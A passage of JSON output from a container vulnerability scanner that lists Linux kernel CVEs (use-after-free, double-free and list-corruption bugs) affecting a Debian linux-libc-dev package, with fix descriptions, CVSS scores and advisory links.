the following vulnerability has been resolved:\n\npower: supply: pm8916_bms_vm: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45882", "https://git.kernel.org/linus/62914959b35e9a1e29cc0f64cb8cfc5075a5366f%20%287.0-rc1%29", "https://git.kernel.org/stable/c/17db6b3abd823c9fba3f3413c4f0f432d99d49dc", "https://git.kernel.org/stable/c/62914959b35e9a1e29cc0f64cb8cfc5075a5366f", "https://git.kernel.org/stable/c/a8b7117ae3a791c6a328674d05a06cd45d8241bd", "https://git.kernel.org/stable/c/b69bb88e20c6f8e998dff3e13a316207f49d3fa2", "https://lore.kernel.org/linux-cve-announce/2026052715-CVE-2026-45882-1cea@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45882", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45882" ], "PublishedDate": "2026-05-27T14:17:02.047Z", "LastModifiedDate": "2026-06-25T21:12:16.967Z" }, { "VulnerabilityID": "CVE-2026-45885", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45885", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a53ced818bb0d64de4f691ff5cc96fa174e2f6db3dea9e8e0108eeb0609edb95", "Title": "kernel: power: supply: cpcap-battery: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: cpcap-battery: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45885", "https://git.kernel.org/linus/642f33e34b969eedec334738fd5df95d2dc42742%20%287.0-rc1%29", "https://git.kernel.org/stable/c/2841bbb5a35c4449c0a0458e8e476b2a62f95147", "https://git.kernel.org/stable/c/2ce2334be155bd8bad6377e99984246ce4dbd08c", "https://git.kernel.org/stable/c/3ff75cba1c98349a23a8f9333981deba1972cc11", "https://git.kernel.org/stable/c/642f33e34b969eedec334738fd5df95d2dc42742", "https://git.kernel.org/stable/c/c549dd3de4b3f6e726d1b8386d40ccf7d3abdbe4", "https://git.kernel.org/stable/c/cbb9b07f88a9ef6518934c41eb3e8cf840d657d5", "https://git.kernel.org/stable/c/e261be6f18929f2397cd54cd583a2df624c129c1", "https://git.kernel.org/stable/c/f3fbe309c9bfe1aac1e2b26543e9dc4829f3275a", "https://lore.kernel.org/linux-cve-announce/2026052716-CVE-2026-45885-d29f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45885", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45885" ], "PublishedDate": "2026-05-27T14:17:02.417Z", "LastModifiedDate": "2026-06-25T21:13:05.397Z" }, { "VulnerabilityID": "CVE-2026-45891", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45891", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c25351c1de7840528ddf5428da807ea2b1da5a8166314a0367ae56a86e22478f", "Title": "kernel: net: hns3: fix double free issue for tx spare buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hns3: fix double free issue for tx spare buffer\n\nIn hns3_set_ringparam(), a temporary copy (tmp_rings) of the ring structure\nis created for rollback. However, the tx_spare pointer in the original\nring handle is incorrectly left pointing to the old backup memory.\n\nLater, if memory allocation fails in hns3_init_all_ring() during the setup,\nthe error path attempts to free all newly allocated rings. Since tx_spare\ncontains a stale (non-NULL) pointer from the backup, it is mistaken for\na newly allocated buffer and is erroneously freed, leading to a double-free\nof the backup memory.\n\nThe root cause is that the tx_spare field was not cleared after its value\nwas saved in tmp_rings, leaving a dangling pointer.\n\nFix this by setting tx_spare to NULL in the original ring structure\nwhen the creation of the new `tx_spare` fails. This ensures the\nerror cleanup path only frees genuinely newly allocated buffers.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45891", "https://git.kernel.org/linus/6d2f142b1e4b203387a92519d9d2e34752a79dbb%20%287.0-rc1%29", "https://git.kernel.org/stable/c/43015461662d41dcfb3bb95fadd8a2a42ad8eacf", "https://git.kernel.org/stable/c/6d2f142b1e4b203387a92519d9d2e34752a79dbb", "https://git.kernel.org/stable/c/6dc10494cfe27b6f1e9adb7e293293ae39c50b7c", "https://git.kernel.org/stable/c/c3659273860bed0c8e573b865e3769abc51225a8", "https://git.kernel.org/stable/c/d2c785733dfb853ea0b53984c75662a1af230a94", "https://git.kernel.org/stable/c/fb6a4c376d454b425555b1b0bda36e99f56ec307", "https://git.kernel.org/stable/c/fdbccddb7e7822016601829f95de4008e193f7bc", "https://lore.kernel.org/linux-cve-announce/2026052717-CVE-2026-45891-8561@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45891", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45891" ], "PublishedDate": "2026-05-27T14:17:03.183Z", "LastModifiedDate": "2026-11-06T16:18:49.603Z" }, { "VulnerabilityID": "CVE-2026-45893", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45893", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:62bd1e6f9e142132b10eb77efd908a1a9423652ac9b35606f76765c53e663930", "Title": "kernel: apparmor: Fix \u0026#38; Optimize table creation from possibly unaligned memory", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: Fix \u0026 Optimize table creation from possibly unaligned memory\n\nSource blob may come from userspace and might be unaligned.\nTry to optize the copying process by avoiding unaligned memory accesses.\n\n- Added Fixes tag\n- Added \"Fix \u0026\" to description as this doesn't just optimize but fixes\n a potential unaligned memory access\n[jj: remove duplicate word \"convert\" in comment trigger checkpatch warning]", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45893", "https://git.kernel.org/linus/6fc367bfd4c8886e6b1742aabbd1c0bdc310db3a%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1fbc4b24c7443ffd501609be74d9856fb940d703", "https://git.kernel.org/stable/c/226c3b10aab23f73b03c47e7773107de56ba3a4e", "https://git.kernel.org/stable/c/47e351dfef60ab0e3285133556e1a9c7f646a969", "https://git.kernel.org/stable/c/6fc367bfd4c8886e6b1742aabbd1c0bdc310db3a", "https://git.kernel.org/stable/c/83939c2afba70b49062c31ca6a6de7f46951d26d", "https://git.kernel.org/stable/c/e027999049c493fb728ead5a90db76942181a935", "https://lore.kernel.org/linux-cve-announce/2026052718-CVE-2026-45893-87f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45893", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45893" ], "PublishedDate": "2026-05-27T14:17:03.487Z", "LastModifiedDate": "2026-10-30T13:18:52.77Z" }, { "VulnerabilityID": "CVE-2026-45898", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45898", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5216805f78280216744a652492fea0084274f9b90e0da3c22cb81aab9f8f1704", "Title": "kernel: RDMA/iwcm: Fix workqueue list corruption by removing work_list", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/iwcm: Fix workqueue list corruption by removing work_list\n\nThe commit e1168f0 (\"RDMA/iwcm: Simplify cm_event_handler()\")\nchanged the work submission logic to unconditionally call\nqueue_work() with the expectation that queue_work() would\nhave no effect if work was already pending. The problem is\nthat a free list of struct iwcm_work is used (for which\nstruct work_struct is embedded), so each call to queue_work()\nis basically unique and therefore does indeed queue the work.\n\nThis causes a problem in the work handler which walks the work_list\nuntil it's empty to process entries. This means that a single\nrun of the work handler could process item N+1 and release it\nback to the free list while the actual workqueue entry is still\nqueued. It could then get reused (INIT_WORK...) and lead to\nlist corruption in the workqueue logic.\n\nFix this by just removing the work_list. The workqueue already\ndoes this for us.\n\nThis fixes the following error that was observed when stress\ntesting with ucmatose on an Intel E830 in iWARP mode:\n\n[ 151.465780] list_del corruption. next-\u003eprev should be ffff9f0915c69c08, but was ffff9f0a1116be08. (next=ffff9f0a15b11c08)\n[ 151.466639] ------------[ cut here ]------------\n[ 151.466986] kernel BUG at lib/list_debug.c:67!\n[ 151.467349] Oops: invalid opcode: 0000 [#1] SMP NOPTI\n[ 151.467753] CPU: 14 UID: 0 PID: 2306 Comm: kworker/u64:18 Not tainted 6.19.0-rc4+ #1 PREEMPT(voluntary)\n[ 151.468466] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 151.469192] Workqueue: 0x0 (iw_cm_wq)\n[ 151.469478] RIP: 0010:__list_del_entry_valid_or_report+0xf0/0x100\n[ 151.469942] Code: c7 58 5f 4c b2 e8 10 50 aa ff 0f 0b 48 89 ef e8 36 57 cb ff 48 8b 55 08 48 89 e9 48 89 de 48 c7 c7 a8 5f 4c b2 e8 f0 4f aa ff \u003c0f\u003e 0b 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 90 90 90 90 90 90\n[ 151.471323] RSP: 0000:ffffb15644e7bd68 EFLAGS: 00010046\n[ 151.471712] RAX: 000000000000006d RBX: ffff9f0915c69c08 RCX: 0000000000000027\n[ 151.472243] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff9f0a37d9c600\n[ 151.472768] RBP: ffff9f0a15b11c08 R08: 0000000000000000 R09: c0000000ffff7fff\n[ 151.473294] R10: 0000000000000001 R11: ffffb15644e7bba8 R12: ffff9f092339ee68\n[ 151.473817] R13: ffff9f0900059c28 R14: ffff9f092339ee78 R15: 0000000000000000\n[ 151.474344] FS: 0000000000000000(0000) GS:ffff9f0a847b5000(0000) knlGS:0000000000000000\n[ 151.474934] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 151.475362] CR2: 0000559e233a9088 CR3: 000000020296b004 CR4: 0000000000770ef0\n[ 151.475895] PKRU: 55555554\n[ 151.476118] Call Trace:\n[ 151.476331] \u003cTASK\u003e\n[ 151.476497] move_linked_works+0x49/0xa0\n[ 151.476792] __pwq_activate_work.isra.46+0x2f/0xa0\n[ 151.477151] pwq_dec_nr_in_flight+0x1e0/0x2f0\n[ 151.477479] process_scheduled_works+0x1c8/0x410\n[ 151.477823] worker_thread+0x125/0x260\n[ 151.478108] ? __pfx_worker_thread+0x10/0x10\n[ 151.478430] kthread+0xfe/0x240\n[ 151.478671] ? __pfx_kthread+0x10/0x10\n[ 151.478955] ? __pfx_kthread+0x10/0x10\n[ 151.479240] ret_from_fork+0x208/0x270\n[ 151.479523] ? __pfx_kthread+0x10/0x10\n[ 151.479806] ret_from_fork_asm+0x1a/0x30\n[ 151.480103] \u003c/TASK\u003e", "Severity": "HIGH", "CweIDs": [ "CWE-1341" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27731", "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/security/cve/CVE-2026-45898", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2461510", "https://bugzilla.redhat.com/show_bug.cgi?id=2464397", "https://bugzilla.redhat.com/show_bug.cgi?id=2467228", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2482031", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31636", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43038", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43198", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45898", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:30129", "https://git.kernel.org/linus/7874eeacfa42177565c01d5198726671acf7adf2%20%287.0-rc1%29", "https://git.kernel.org/stable/c/38c5b49fffa1b760959af74f11806eeb3ef4706d", "https://git.kernel.org/stable/c/7874eeacfa42177565c01d5198726671acf7adf2", "https://git.kernel.org/stable/c/a6b9e793e74e372daa266fd0d58b751305877897", "https://git.kernel.org/stable/c/eb715133e0ae12514bba4d2d5ce1dee774476056", "https://linux.oracle.com/cve/CVE-2026-45898.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052719-CVE-2026-45898-3b64@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45898", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45898.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://www.cve.org/CVERecord?id=CVE-2026-45898" ], "PublishedDate": "2026-05-27T14:17:04.08Z", "LastModifiedDate": "2026-10-19T20:18:21.03Z" }, { "VulnerabilityID": "CVE-2026-45902", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45902", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:108ea9f666b49abbbef218e1de27e956e3e669bf1e59a3d0f6c09632d9d08a92", "Title": "kernel: power: supply: bq256xx: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: bq256xx: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45902", "https://git.kernel.org/linus/8005843369723d9c8975b7c4202d1b85d6125302%20%287.0-rc1%29", "https://git.kernel.org/stable/c/4b6fb0b6124f558131e502e3ffd03e6583b3ace6", "https://git.kernel.org/stable/c/74b5a88318db97d51bb40f774736553c2acd1514", "https://git.kernel.org/stable/c/8005843369723d9c8975b7c4202d1b85d6125302", "https://git.kernel.org/stable/c/81d3688c9a2158329391e08f2d0b8ba204216044", "https://git.kernel.org/stable/c/83c27fdd696ac13d023ef7a0345301be93209c53", "https://git.kernel.org/stable/c/8796910131a32ff29275052df768ef022929a394", "https://git.kernel.org/stable/c/cb5c743936edcebc51880eeb6bf04979b5c9438b", "https://lore.kernel.org/linux-cve-announce/2026052720-CVE-2026-45902-bfec@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45902", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45902" ], "PublishedDate": "2026-05-27T14:17:04.583Z", "LastModifiedDate": "2026-06-24T16:29:02.353Z" }, { "VulnerabilityID": "CVE-2026-45914", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45914", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f3a1d9b5b281f61ee1e1131ba6c6e5fd158016154a724f6ea51c0924146f1c6a", "Title": "kernel: Revert \"hwmon: (ibmpex) fix use-after-free in high/low store\"", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"hwmon: (ibmpex) fix use-after-free in high/low store\"\n\nThis reverts commit 6946c726c3f4c36f0f049e6f97e88c510b15f65d.\n\nJean Delvare points out that the patch does not completely\nfix the reported problem, that it in fact introduces a\n(new) race condition, and that it may actually not be needed in\nthe first place.\n\nVarious AI reviews agree. Specific and relevant AI feedback:\n\n\"\nThis reordering sets the driver data to NULL before removing the sensor\nattributes in the loop below.\n\nibmpex_show_sensor() retrieves this driver data via dev_get_drvdata() but\ndoes not check if it is NULL before dereferencing it to access\ndata-\u003esensors[].\n\nIf a userspace process reads a sensor file (like temp1_input) while this\ndelete function is running, could it race with the dev_set_drvdata(...,\nNULL) call here and crash in ibmpex_show_sensor()?\n\nWould it be safer to keep the original order where device_remove_file() is\ncalled before clearing the driver data? device_remove_file() should wait\nfor any active sysfs callbacks to complete, which might already prevent the\nuse-after-free this patch intends to fix.\n\"\n\nRevert the offending patch. If it can be shown that the originally reported\nalleged race condition does indeed exist, it can always be re-introduced\nwith a complete fix.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45914", "https://git.kernel.org/linus/8bde3e395a85017f12af2b0ba5c3684f5af9c006%20%287.0-rc1%29", "https://git.kernel.org/stable/c/05112ba67c824ab416cd54307c0b50aba9f0047a", "https://git.kernel.org/stable/c/14a38784e09aebc21207dc32fffa05247fc3dd64", 